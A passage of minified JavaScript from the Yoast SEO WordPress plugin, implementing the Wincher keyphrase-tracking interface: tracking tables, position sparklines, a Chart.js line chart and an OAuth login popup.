(0,m.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),t,e),l=s?i:o;return(0,c.createElement)(Ci,null,s&&(0,c.createElement)(Ii,{icon:"exclamation-triangle",color:va.colors.$color_pink_dark,size:"14px"}),l)};Fi.propTypes={limit:y().number.isRequired,usage:y().number.isRequired,isTitleShortened:y().bool,isFreeAccount:y().bool};const Di=(0,Ht.makeOutboundLink)(),Mi=({discount:e,months:t})=>{const s=(0,c.createElement)(Di,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,m.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,m.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!e||!t)return(0,c.createElement)(Li,null,s);const r=100*e,n=(0,m.sprintf)(
/* Translators: %1$s expands to upgrade account link.
* %2$s expands to the upgrade discount value.
* %3$s expands to the upgrade discount duration e.g. 2 months.
*/
(0,m.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",r+"%",t);return(0,c.createElement)(Li,null,(0,$o.Z)({mixedString:n,components:{wincherAccountUpgradeLink:s}}))};Mi.propTypes={discount:y().number,months:y().number};const Ni=({onClose:e,isTitleShortened:t,trackingInfo:s})=>{const r=(()=>{const[e,t]=(0,u.useState)(null);return(0,u.useEffect)((()=>{e||async function(){return await Ti({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>t(e)))}),[e]),e})();if(null===s)return null;const{limit:n,usage:a}=s;if(!(n&&a/n>=.8))return null;const o=Boolean(null==r?void 0:r.discount);return(0,c.createElement)(Ai,{isTitleShortened:t},e&&(0,c.createElement)(Pi,{type:"button","aria-label":(0,m.__)("Close the upgrade callout","wordpress-seo"),onClick:e},(0,c.createElement)(Kt.SvgIcon,{icon:"times-circle",color:va.colors.$color_pink_dark,size:"14px"})),(0,c.createElement)(Fi,{...s,isTitleShortened:t,isFreeAccount:o}),(0,c.createElement)(Mi,{discount:null==r?void 0:r.discount,months:null==r?void 0:r.months}))};Ni.propTypes={onClose:y().func,isTitleShortened:y().bool,trackingInfo:y().object};const qi=Ni,Ui=()=>(0,c.createElement)(Kt.Alert,{type:"success"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,m.__)("You have successfully connected to %s! You can now track the SEO performance for the keyphrase(s) of this page.","wordpress-seo"),"Wincher")),$i=()=>(0,c.createElement)(Kt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,m.__)("%s is currently tracking the ranking position(s) of your page. This may take a few minutes. Please wait or check back later.","wordpress-seo"),"Wincher")),Bi=({data:e,mapChartDataToTableData:t,dataTableCaption:s,dataTableHeaderLabels:r,isDataTableVisuallyHidden:n})=>e.length!==r.length?(0,c.createElement)("p",null,(0,m.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,c.createElement)("div",{className:n?"screen-reader-text":null},(0,c.createElement)("table",null,(0,c.createElement)("caption",null,s),(0,c.createElement)("thead",null,(0,c.createElement)("tr",null,r.map(((e,t)=>(0,c.createElement)("th",{key:t},e))))),(0,c.createElement)("tbody",null,(0,c.createElement)("tr",null,e.map(((e,s)=>(0,c.createElement)("td",{key:s},t(e.y))))))));Bi.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},Bi.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const Wi=Bi,Yi=({data:e,width:t,height:s,fillColor:r,strokeColor:n,strokeWidth:a,className:o,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:d,isDataTableVisuallyHidden:p})=>{const m=Math.max(1,Math.max(...e.map((e=>e.x)))),h=Math.max(1,Math.max(...e.map((e=>e.y)))),g=s-a,y=e.map((e=>`${e.x/m*t},${g-e.y/h*g+a}`)).join(" "),f=`0,${g+a} `+y+` ${t},${g+a}`;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)("svg",{width:t,height:s,viewBox:`0 0 ${t} ${s}`,className:o,role:"img","aria-hidden":"true",focusable:"false"},(0,c.createElement)("polygon",{fill:r,points:f}),(0,c.createElement)("polyline",{fill:"none",stroke:n,strokeWidth:a,strokeLinejoin:"round",strokeLinecap:"round",points:y})),i&&(0,c.createElement)(Wi,{data:e,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:d,isDataTableVisuallyHidden:p}))};Yi.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,width:y().number.isRequired,height:y().number.isRequired,fillColor:y().string,strokeColor:y().string,strokeWidth:y().number,className:y().string,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},Yi.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const Ki=Yi,ji=()=>(0,c.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,m.__)("Tracking the ranking position...","wordpress-seo")," ",(0,c.createElement)(Kt.SvgIcon,{icon:"loading-spinner"})),zi=ht()(Kt.SvgIcon)`
margin-left: 2px;
flex-shrink: 0;
rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,Hi=ht().span`
color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
font-size: 13px;
font-weight: 600;
line-height: 20px;
margin-right: 2px;
margin-left: 12px;
`,Vi=ht().td`
padding-right: 0 !important;
& > div {
margin: 0px;
}
`,Gi=ht().td`
padding-left: 2px !important;
`,Zi=ht().td.attrs({className:"yoast-table--nopadding"})`
& > div {
justify-content: center;
}
`,Qi=ht().div`
display: flex;
align-items: center;
& > a {
box-sizing: border-box;
}
`,Xi=ht().button`
background: none;
color: inherit;
border: none;
padding: 0;
font: inherit;
cursor: pointer;
outline: inherit;
display: flex;
align-items: center;
`,Ji=ht().tr`
background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function el(e){return Math.round(100*e)}function tl({chartData:e}){if((0,R.isEmpty)(e)||(0,R.isEmpty)(e.position))return"?";const t=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,m.sprintf)((0,m._n)("%d day","%d days",e,"wordpress-seo"),e)))}(e),s=e.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,c.createElement)(Ki,{width:66,height:24,data:s,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:el,dataTableCaption:(0,m.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:t})}tl.propTypes={chartData:y().object},tl.defaultProps={chartData:{}};const sl=({rowData:e})=>{var t;if(null==e||null===(t=e.position)||void 0===t||!t.change)return(0,c.createElement)(tl,{chartData:e});const s=e.position.change<0;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)(tl,{chartData:e}),(0,c.createElement)(Hi,{isImproving:s},Math.abs(e.position.change)),(0,c.createElement)(zi,{icon:"caret-right",color:s?"#69AB56":"#DC3332",size:"14px",isImproving:s}))};function rl(e){var t;const{keyphrase:s,rowData:r,onTrackKeyphrase:n,onUntrackKeyphrase:a,isFocusKeyphrase:o,isDisabled:i,isLoading:l,isSelected:d,onSelectKeyphrases:p}=e,h=!(0,R.isEmpty)(r),g=!(0,R.isEmpty)(null==r||null===(t=r.position)||void 0===t?void 0:t.history),y=(0,u.useCallback)((()=>{i||(h?a(s,r.id):n(s))}),[s,n,a,h,r,i]),f=(0,u.useCallback)((()=>{p((e=>d?e.filter((e=>e!==s)):e.concat(s)))}),[p,d,s]);return(0,c.createElement)(Ji,{isEnabled:h},(0,c.createElement)(Vi,null,g&&(0,c.createElement)(Kt.Checkbox,{id:"select-"+s,onChange:f,checked:d,label:""})),(0,c.createElement)(Gi,null,s,o&&(0,c.createElement)("span",null,"*")),function(e){const{rowData:t,websiteId:s,keyphrase:r,onSelectKeyphrases:n}=e,a=(0,u.useCallback)((()=>{n([r])}),[n,r]),o=!(0,R.isEmpty)(t),i=t&&t.updated_at&&wi()(t.updated_at)>=wi()().subtract(7,"days"),l=t?(0,m.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",s,t.id):null;return o?i?(0,c.createElement)(u.Fragment,null,(0,c.createElement)("td",null,(0,c.createElement)(Qi,null,function(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}(t),(0,c.createElement)(Kt.ButtonStyledLink,{variant:"secondary",href:l,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,m.__)("View","wordpress-seo")))),(0,c.createElement)("td",{className:"yoast-table--nopadding"},(0,c.createElement)(Xi,{type:"button",onClick:a},(0,c.createElement)(sl,{rowData:t}))),(0,c.createElement)("td",null,(d=t.updated_at,wi()(d).fromNow()))):(0,c.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,c.createElement)(ji,null)):(0,c.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,c.createElement)("i",null,(0,m.__)("Activate tracking to show the ranking position","wordpress-seo")));var d}(e),(0,c.createElement)(Zi,null,function({keyphrase:e,isEnabled:t,toggleAction:s,isLoading:r}){return r?(0,c.createElement)(Kt.SvgIcon,{icon:"loading-spinner"}):(0,c.createElement)(Kt.Toggle,{id:`toggle-keyphrase-tracking-${e}`,className:"wincher-toggle",isEnabled:t,onSetToggleState:s,showToggleStateLabel:!1})}({keyphrase:s,isEnabled:h,toggleAction:y,isLoading:l})))}sl.propTypes={rowData:y().object},rl.propTypes={rowData:y().object,keyphrase:y().string.isRequired,onTrackKeyphrase:y().func,onUntrackKeyphrase:y().func,isFocusKeyphrase:y().bool,isDisabled:y().bool,isLoading:y().bool,websiteId:y().string,isSelected:y().bool.isRequired,onSelectKeyphrases:y().func.isRequired},rl.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const nl=(0,Ht.makeOutboundLink)(),al=ht().span`
display: block;
font-style: italic;
@media (min-width: 782px) {
display: inline;
position: absolute;
${(0,Ht.getDirectionalStyle)("right","left")}: 8px;
}
`,ol=ht().div`
width: 100%;
overflow-y: auto;
`,il=ht().th`
pointer-events: ${e=>e.isDisabled?"none":"initial"};
padding-right: 0 !important;
& > div {
margin: 0px;
}
`,ll=ht().th`
padding-left: 2px !important;
`,cl=e=>{const t=(0,u.useRef)();return(0,u.useEffect)((()=>{t.current=e})),t.current},dl=(0,R.debounce)((async function(e=null,t=null,s=null,r){return await Ti({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:s,startAt:t},signal:r})}),500,{leading:!0}),pl=e=>{const{addTrackedKeyphrase:t,isLoggedIn:s,keyphrases:r,permalink:n,removeTrackedKeyphrase:a,setKeyphraseLimitReached:o,setRequestFailed:i,setRequestSucceeded:l,setTrackedKeyphrases:d,setHasTrackedAll:p,trackAll:h,trackedKeyphrases:g,isNewlyAuthenticated:y,websiteId:f,focusKeyphrase:w,newRequest:b,startAt:E,selectedKeyphrases:_,onSelectKeyphrases:v}=e,k=(0,u.useRef)(),x=(0,u.useRef)(),S=(0,u.useRef)(!1),[T,C]=(0,u.useState)([]),I=(0,u.useCallback)((e=>{const t=e.toLowerCase();return g&&!(0,R.isEmpty)(g)&&g.hasOwnProperty(t)?g[t]:null}),[g]),P=(0,u.useMemo)((()=>async()=>{await Si((()=>(x.current&&x.current.abort(),x.current="undefined"==typeof AbortController?null:new AbortController,dl(r,E,n,x.current.signal))),(e=>{l(e),d(e.results)}),(e=>{i(e)}))}),[l,i,d,r,n,E]),L=(0,u.useCallback)((async e=>{const s=(Array.isArray(e)?e:[e]).map((e=>e.toLowerCase()));C((e=>[...e,...s])),await Si((()=>Ri(s)),(e=>{l(e),t(e.results),P()}),(e=>{400===e.status&&e.limit&&o(e.limit),i(e)}),201),C((e=>(0,R.without)(e,...s)))}),[l,i,o,t,P]),A=(0,u.useCallback)((async(e,t)=>{e=e.toLowerCase(),C((t=>[...t,e])),await Si((()=>async function(e){return await Ti({path:"yoast/v1/wincher/keyphrases/untrack",method:"DELETE",data:{keyphraseID:e}})}(t)),(t=>{l(t),a(e)}),(e=>{i(e)})),C((t=>(0,R.without)(t,e)))}),[l,a,i]),O=(0,u.useCallback)((async e=>{b(),await L(e)}),[b,L]),F=cl(n),D=cl(r),M=cl(E),N=n&&E;(0,u.useEffect)((()=>{s&&N&&(n!==F||(0,R.difference)(r,D).length||E!==M)&&P()}),[s,n,F,r,D,P,N,E,M]),(0,u.useEffect)((()=>{if(s&&h&&null!==g){const e=r.filter((e=>!I(e)));e.length&&L(e),p()}}),[s,h,g,L,p,I,r]),(0,u.useEffect)((()=>{y&&!S.current&&(P(),S.current=!0)}),[y,P]),(0,u.useEffect)((()=>{if(s&&!(0,R.isEmpty)(g))return(0,R.filter)(g,(e=>(0,R.isEmpty)(e.updated_at))).length>0&&(k.current=setInterval((()=>{P()}),1e4)),()=>{clearInterval(k.current)}}),[s,g,P]);const q=s&&null===g,U=(0,u.useMemo)((()=>(0,R.isEmpty)(g)?[]:Object.values(g).filter((e=>{var t;return!(0,R.isEmpty)(null==e||null===(t=e.position)||void 0===t?void 0:t.history)})).map((e=>e.keyword))),[g]),$=(0,u.useMemo)((()=>_.length>0&&U.length>0&&U.every((e=>_.includes(e)))),[_,U]),B=(0,u.useCallback)((()=>{v($?[]:U)}),[v,$,U]),W=(0,u.useMemo)((()=>(0,R.orderBy)(r,[e=>Object.values(g||{}).map((e=>e.keyword)).includes(e)],["desc"])),[r,g]);return r&&!(0,R.isEmpty)(r)&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ol,null,(0,c.createElement)("table",{className:"yoast yoast-table"},(0,c.createElement)("thead",null,(0,c.createElement)("tr",null,(0,c.createElement)(il,{isDisabled:0===U.length},(0,c.createElement)(Kt.Checkbox,{id:"select-all",onChange:B,checked:$,label:""})),(0,c.createElement)(ll,{scope:"col",abbr:(0,m.__)("Keyphrase","wordpress-seo")},(0,m.__)("Keyphrase","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Position","wordpress-seo")},(0,m.__)("Position","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Position over time","wordpress-seo")},(0,m.__)("Position over time","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Last updated","wordpress-seo")},(0,m.__)("Last updated","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Tracking","wordpress-seo")},(0,m.__)("Tracking","wordpress-seo")))),(0,c.createElement)("tbody",null,W.map(((e,t)=>(0,c.createElement)(rl,{key:`trackable-keyphrase-${t}`,keyphrase:e,onTrackKeyphrase:O,onUntrackKeyphrase:A,rowData:I(e),isFocusKeyphrase:e===w.trim().toLowerCase(),websiteId:f,isDisabled:!s,isLoading:q||T.indexOf(e.toLowerCase())>=0,isSelected:_.includes(e),onSelectKeyphrases:v})))))),(0,c.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,c.createElement)(nl,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,m.sprintf)(/* translators: %s expands to Wincher */
(0,m.__)("Get more insights over at %s","wordpress-seo"),"Wincher")),(0,c.createElement)(al,null,(0,m.__)("* focus keyphrase","wordpress-seo"))))};pl.propTypes={addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,newRequest:y().func.isRequired,removeTrackedKeyphrase:y().func.isRequired,setRequestFailed:y().func.isRequired,setKeyphraseLimitReached:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setTrackedKeyphrases:y().func.isRequired,setHasTrackedAll:y().func.isRequired,trackAll:y().bool,trackedKeyphrases:y().object,websiteId:y().string,permalink:y().string.isRequired,focusKeyphrase:y().string,startAt:y().string,selectedKeyphrases:y().arrayOf(y().string).isRequired,onSelectKeyphrases:y().func.isRequired},pl.defaultProps={isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],trackAll:!1,websiteId:"",focusKeyphrase:""};const ul=pl,ml=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getWincherWebsiteId:t,getWincherTrackableKeyphrases:s,getWincherLoginStatus:r,getWincherPermalink:n,getFocusKeyphrase:a,isWincherNewlyAuthenticated:o,shouldWincherTrackAll:i}=e("yoast-seo/editor");return{focusKeyphrase:a(),keyphrases:s(),isLoggedIn:r(),trackAll:i(),websiteId:t(),isNewlyAuthenticated:o(),permalink:n()}})),(0,i.withDispatch)((e=>{const{setWincherNewRequest:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherSetKeyphraseLimitReached:n,setWincherTrackedKeyphrases:a,setWincherTrackingForKeyphrase:o,setWincherTrackAllKeyphrases:i,unsetWincherTrackingForKeyphrase:l}=e("yoast-seo/editor");return{newRequest:()=>{t()},setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},setKeyphraseLimitReached:e=>{n(e)},addTrackedKeyphrase:e=>{o(e)},removeTrackedKeyphrase:e=>{l(e)},setTrackedKeyphrases:e=>{a(e)},setHasTrackedAll:()=>{i(!1)}}}))])(ul),hl=(0,Ht.makeOutboundLink)(),gl=(0,Ht.makeOutboundLink)(),yl=()=>{const e=(0,m.sprintf)((0,m.__)(/* translators: %1$s expands to a link to Wincher, %2$s expands to a link to the keyphrase tracking article on Yoast.com */
"With %1$s you can track the ranking position of your page in the search results based on your keyphrase(s). %2$s","wordpress-seo"),"{{wincherLink/}}","{{wincherReadMoreLink/}}");return(0,c.createElement)("p",null,(0,$o.Z)({mixedString:e,components:{wincherLink:(0,c.createElement)(hl,{href:wpseoAdminGlobalL10n["links.wincher.website"]},"Wincher"),wincherReadMoreLink:(0,c.createElement)(gl,{href:wpseoAdminL10n["shortlinks.wincher.seo_performance"]},(0,m.__)("Read more about keyphrase tracking with Wincher","wordpress-seo"))}}))},fl=()=>(0,c.createElement)(Kt.Alert,{type:"error"},(0,m.__)("No keyphrase has been set. Please set a keyphrase first.","wordpress-seo")),wl=()=>(0,c.createElement)(Kt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,m.__)("Automatic tracking of keyphrases is enabled. Your keyphrase(s) will automatically be tracked by %s when you publish your post.","wordpress-seo"),"Wincher"));class bl{constructor(e,t={},s={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},s),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:s}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,s,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:s,origin:r}=e;r===this.origin&&this.popup===s&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}const El=e=>{const t=(0,m.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,m.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,c.createElement)(Kt.Alert,{type:"error",className:e.className},(0,$o.Z)({mixedString:t,components:{reconnectToWincher:(0,c.createElement)("a",{href:"#",onClick:t=>{t.preventDefault(),e.onReconnect()}},(0,m.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,m.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};El.propTypes={onReconnect:y().func.isRequired,className:y().string},El.defaultProps={className:""};const _l=El,vl=()=>(0,c.createElement)(Kt.Alert,{type:"error"},(0,m.__)("Before you can track your SEO performance make sure to set either the post’s title and save it as a draft or manually set the post’s slug.","wordpress-seo")),kl=window.yoast["chart.js"],xl="label";function Sl(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function Tl(e,t){e.labels=t}function Rl(e,t){let s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:xl;const r=[];e.datasets=t.map((t=>{const n=e.datasets.find((e=>e[s]===t[s]));return n&&t.data&&!r.includes(n)?(r.push(n),Object.assign(n,t),n):{...t}}))}function Cl(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:xl;const s={labels:[],datasets:[]};return Tl(s,e.labels),Rl(s,e.datasets,t),s}function Il(e,t){const{height:s=150,width:r=300,redraw:n=!1,datasetIdKey:a,type:o,data:i,options:l,plugins:d=[],fallbackContent:p,updateMode:u,...m}=e,h=(0,c.useRef)(null),g=(0,c.useRef)(),y=()=>{h.current&&(g.current=new kl.Chart(h.current,{type:o,data:Cl(i,a),options:l&&{...l},plugins:d}),Sl(t,g.current))},f=()=>{Sl(t,null),g.current&&(g.current.destroy(),g.current=null)};return(0,c.useEffect)((()=>{!n&&g.current&&l&&function(e,t){const s=e.options;s&&t&&Object.assign(s,t)}(g.current,l)}),[n,l]),(0,c.useEffect)((()=>{!n&&g.current&&Tl(g.current.config.data,i.labels)}),[n,i.labels]),(0,c.useEffect)((()=>{!n&&g.current&&i.datasets&&Rl(g.current.config.data,i.datasets,a)}),[n,i.datasets]),(0,c.useEffect)((()=>{g.current&&(n?(f(),setTimeout(y)):g.current.update(u))}),[n,l,i.labels,i.datasets,u]),(0,c.useEffect)((()=>{g.current&&(f(),setTimeout(y))}),[o]),(0,c.useEffect)((()=>(y(),()=>f())),[]),c.createElement("canvas",Object.assign({ref:h,role:"img",height:s,width:r},m),p)}const Pl=(0,c.forwardRef)(Il);function Ll(e,t){return kl.Chart.register(t),(0,c.forwardRef)(((t,s)=>c.createElement(Pl,Object.assign({},t,{ref:s,type:e}))))}const Al=Ll("line",kl.LineController),Ol={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};kl._adapters._date.override("function"==typeof wi()?{_id:"moment",formats:function(){return Ol},parse:function(e,t){return"string"==typeof e&&"string"==typeof t?e=wi()(e,t):e instanceof wi()||(e=wi()(e)),e.isValid()?e.valueOf():null},format:function(e,t){return wi()(e).format(t)},add:function(e,t,s){return wi()(e).add(t,s).valueOf()},diff:function(e,t,s){return wi()(e).diff(wi()(t),s)},startOf:function(e,t,s){return e=wi()(e),"isoWeek"===t?(s=Math.trunc(Math.min(Math.max(0,s),6)),e.isoWeekday(s).startOf("day").valueOf()):e.startOf(t).valueOf()},endOf:function(e,t){return wi()(e).endOf(t).valueOf()}}:{}),Math.PI,Number.POSITIVE_INFINITY,Math.log10,Math.sign,"undefined"==typeof window||window.requestAnimationFrame,new Map,Object.create(null),Object.create(null),Number.EPSILON;const Fl=["top","right","bottom","left"];function Dl(e,t,s){const r={};s=s?"-"+s:"";for(let n=0;n<4;n++){const a=Fl[n];r[a]=parseFloat(e[t+"-"+a+s])||0}return r.width=r.left+r.right,r.height=r.top+r.bottom,r}!function(){let e=!1;try{const t={get passive(){return e=!0,!1}};window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}}(),kl.Chart.register(kl.CategoryScale,kl.LineController,kl.LineElement,kl.PointElement,kl.LinearScale,kl.TimeScale,kl.Legend,kl.Tooltip);const Ml=["#ff983b","#ffa3f7","#3798ff","#ff3b3b","#acce81","#b51751","#3949ab","#26c6da","#ccb800","#de66ff","#4db6ac","#ffab91","#45f5f1","#77f210","#90a4ae","#ffd54f","#006b5e","#8ec7d2","#b1887c","#cc9300"];function Nl({datasets:e,isChartShown:t,keyphrases:s}){if(!t)return null;const r=(0,u.useMemo)((()=>Object.fromEntries([...s].sort().map(((e,t)=>[e,Ml[t%Ml.length]])))),[s]),n=e.map((e=>{const t=r[e.label];return{...e,data:e.data.map((({datetime:e,value:t})=>({x:e,y:t}))),lineTension:0,pointRadius:1,pointHoverRadius:4,borderWidth:2,pointHitRadius:6,backgroundColor:t,borderColor:t}})).filter((e=>!1!==e.selected));return(0,c.createElement)(Al,{height:100,data:{datasets:n},options:{plugins:{legend:{display:!0,position:"bottom",labels:{color:"black",usePointStyle:!0,boxHeight:7,boxWidth:7},onClick:R.noop},tooltip:{enabled:!0,callbacks:{title:e=>wi()(e[0].raw.x).utc().format("YYYY-MM-DD")},titleAlign:"center",mode:"xPoint",position:"nearest",usePointStyle:!0,boxHeight:7,boxWidth:7,boxPadding:2}},scales:{x:{bounds:"ticks",type:"time",time:{unit:"day",minUnit:"day"},grid:{display:!1},ticks:{autoSkipPadding:50,maxRotation:0,color:"black"}},y:{bounds:"ticks",offset:!0,reverse:!0,ticks:{precision:0,color:"black"},max:101}}}})}kl.Interaction.modes.xPoint=(e,t,s,r)=>{const n=function(e,t){if("native"in e)return e;const{canvas:s,currentDevicePixelRatio:r}=t,n=(m=s).ownerDocument.defaultView.getComputedStyle(m,null),a="border-box"===n.boxSizing,o=Dl(n,"padding"),i=Dl(n,"border","width"),{x:l,y:c,box:d}=function(e,t){const s=e.touches,r=s&&s.length?s[0]:e,{offsetX:n,offsetY:a}=r;let o,i,l=!1;if(((e,t,s)=>(e>0||t>0)&&(!s||!s.shadowRoot))(n,a,e.target))o=n,i=a;else{const e=t.getBoundingClientRect();o=r.clientX-e.left,i=r.clientY-e.top,l=!0}return{x:o,y:i,box:l}}(e,s),p=o.left+(d&&i.left),u=o.top+(d&&i.top);var m;let{width:h,height:g}=t;return a&&(h-=o.width+i.width,g-=o.height+i.height),{x:Math.round((l-p)/h*s.width/r),y:Math.round((c-u)/g*s.height/r)}}(t,e);let a=[];if(kl.Interaction.evaluateInteractionItems(e,"x",n,((e,t,s)=>{e.inXRange(n.x,r)&&a.push({element:e,datasetIndex:t,index:s})})),0===a.length)return a;const o=a.reduce(((e,t)=>Math.abs(n.x-e.element.x)<Math.abs(n.x-t.element.x)?e:t)).element.x;return a=a.filter((e=>e.element.x===o)),a.some((e=>Math.abs(e.element.y-n.y)<10))?a:[]},Nl.propTypes={datasets:y().arrayOf(y().shape({label:y().string.isRequired,data:y().arrayOf(y().shape({datetime:y().string.isRequired,value:y().number.isRequired})).isRequired,selected:y().bool})).isRequired,isChartShown:y().bool.isRequired,keyphrases:y().array.isRequired};const ql=({response:e,onLogin:t})=>[401,403,404].includes(e.status)?(0,c.createElement)(_l,{onReconnect:t}):(0,c.createElement)(vi,null);ql.propTypes={response:y().object.isRequired,onLogin:y().func.isRequired};const Ul=({isSuccess:e,response:t,allKeyphrasesMissRanking:s,onLogin:r,keyphraseLimitReached:n,limit:a})=>n?(0,c.createElement)(_i,{limit:a}):(0,R.isEmpty)(t)||e?s?(0,c.createElement)($i,null):null:(0,c.createElement)(ql,{response:t,onLogin:r});Ul.propTypes={isSuccess:y().bool.isRequired,allKeyphrasesMissRanking:y().bool.isRequired,response:y().object,onLogin:y().func.isRequired,keyphraseLimitReached:y().bool.isRequired,limit:y().number.isRequired},Ul.defaultProps={response:{}};let $l=null;const Bl=async e=>{if($l&&!$l.isClosed())return void $l.focus();const{url:t}=await async function(){return await Ti({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();$l=new bl(t,{success:{type:"wincher:oauth:success",callback:t=>(async(e,t)=>{const{onAuthentication:s,setRequestSucceeded:r,setRequestFailed:n,keyphrases:a,addTrackedKeyphrase:o,setKeyphraseLimitReached:i}=e;await Si((()=>async function(e){const{code:t,websiteId:s}=e;return await Ti({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:s}})}(t)),(async e=>{s(!0,!0,t.websiteId.toString()),r(e);const l=(Array.isArray(a)?a:[a]).map((e=>e.toLowerCase()));await Si((()=>Ri(l)),(e=>{r(e),o(e.results)}),(e=>{400===e.status&&e.limit&&i(e.limit),n(e)}),201);const c=$l.getPopup();c&&c.close()}),(async e=>n(e)))})(e,t)},error:{type:"wincher:oauth:error",callback:()=>e.onAuthentication(!1,!1)}},{title:"Wincher_login",width:500,height:700}),$l.createPopup()},Wl=e=>e.isLoggedIn?null:(0,c.createElement)("p",null,(0,c.createElement)(Kt.NewButton,{onClick:e.onLogin,variant:"primary"},(0,m.sprintf)(/* translators: %s expands to Wincher */
(0,m.__)("Connect with %s","wordpress-seo"),"Wincher")));Wl.propTypes={isLoggedIn:y().bool.isRequired,onLogin:y().func.isRequired};const Yl=ht().div`
p {
margin: 1em 0;
}
`,Kl=ht().div`
${e=>e.isDisabled&&"\n\t\topacity: .5;\n\t\tpointer-events: none;\n\t"};
`,jl=ht().div`
font-weight: var(--yoast-font-weight-bold);
color: var(--yoast-color-label);
font-size: var(--yoast-font-size-default);
`,zl=ht().div.attrs({className:"yoast-field-group"})`
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 14px;
`,Hl=ht().div`
margin: 8px 0;
